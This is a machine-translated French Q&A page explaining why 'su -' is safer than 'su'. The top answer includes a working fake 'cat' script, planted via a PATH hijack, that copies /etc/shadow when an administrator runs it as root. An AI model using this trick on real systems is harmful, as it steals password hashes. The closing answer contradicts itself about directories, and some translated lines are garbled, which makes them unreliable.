web-dev-qa-db-fra.com

Pourquoi utilisons-nous su - et pas seulement su?

Je ne comprends pas pourquoi su - est préférable à su pour se connecter en tant que root.

187
Dharmit

su - Invoque un shell de connexion après avoir changé d'utilisateur. Un shell de connexion réinitialise la plupart des variables d'environnement, fournissant une base propre.

su change juste l'utilisateur, fournissant un Shell normal avec un environnement presque le même qu'avec l'ancien utilisateur.

Imaginez, vous êtes un développeur de logiciels avec un accès utilisateur normal à une machine et votre administrateur ignorant ne vous donnera tout simplement pas un accès root. Essayons (espérons-le) de le piéger.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Maintenant, vous demandez à votre administrateur pourquoi vous ne pouvez pas cat le fichier factice dans votre dossier personnel, cela ne fonctionnera tout simplement pas!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Si votre administrateur n'est pas si intelligent ou juste un peu paresseux, il pourrait venir à votre bureau et essayer avec ses pouvoirs de super-utilisateur:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Hou la la! Merci, super administrateur!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Lui, il.

Vous avez peut-être remarqué que la variable $PATH Corrompue n'a pas été réinitialisée. Cela ne se serait pas produit si l'administrateur avait appelé su - À la place.

251
wag

su - vous connecte complètement en tant que root, tandis que su vous permet de faire semblant d'être root.

L'exemple le plus évident est que ~ est le répertoire personnel de root si vous utilisez su -, mais votre propre répertoire personnel si vous utilisez su.

Selon votre système, cela peut également signifier des différences dans le fichier d'invite, PATH ou d'historique.

Donc, si vous faites partie d'une équipe administrant un système et que votre collègue vous donne une commande à exécuter, vous savez que cela fonctionnera de la même manière si vous utilisez tous les deux su -, mais si vous utilisez tous les deux su, il peut y avoir des différences du fait que vous avez des configurations Shell différentes.

D'un autre côté, si vous voulez exécuter une commande en tant que root mais en utilisant votre propre configuration, alors su est peut-être mieux pour vous.

N'oubliez pas non plus Sudo, qui a un -s option pour démarrer un shell exécuté en tant que root. Bien sûr, cela a également des règles différentes, et elles changent en fonction de la distribution que vous utilisez.

37
Mikel

La principale différence est:

su - username configure l'environnement Shell comme s'il s'agissait d'une connexion propre en tant qu'utilisateur spécifié, il accède et utilise les variables d'environnement des utilisateurs spécifiés,

su username démarre simplement un shell avec les paramètres d'environnement actuels pour l'utilisateur spécifié.

Si le nom d'utilisateur n'est pas spécifié avec su et su -, le compte root est implicite par défaut.

2
Akhil MK

J'utilise su - lorsque je suis dans un répertoire en tant qu'utilisateur normal mais que je souhaite basculer vers root et rester dans le même répertoire après le changement. Lorsque vous utilisez su - il fait basculer l'utilisateur vers root et vous amène également à/root qui est le répertoire de base de root.

1
Calvin Dike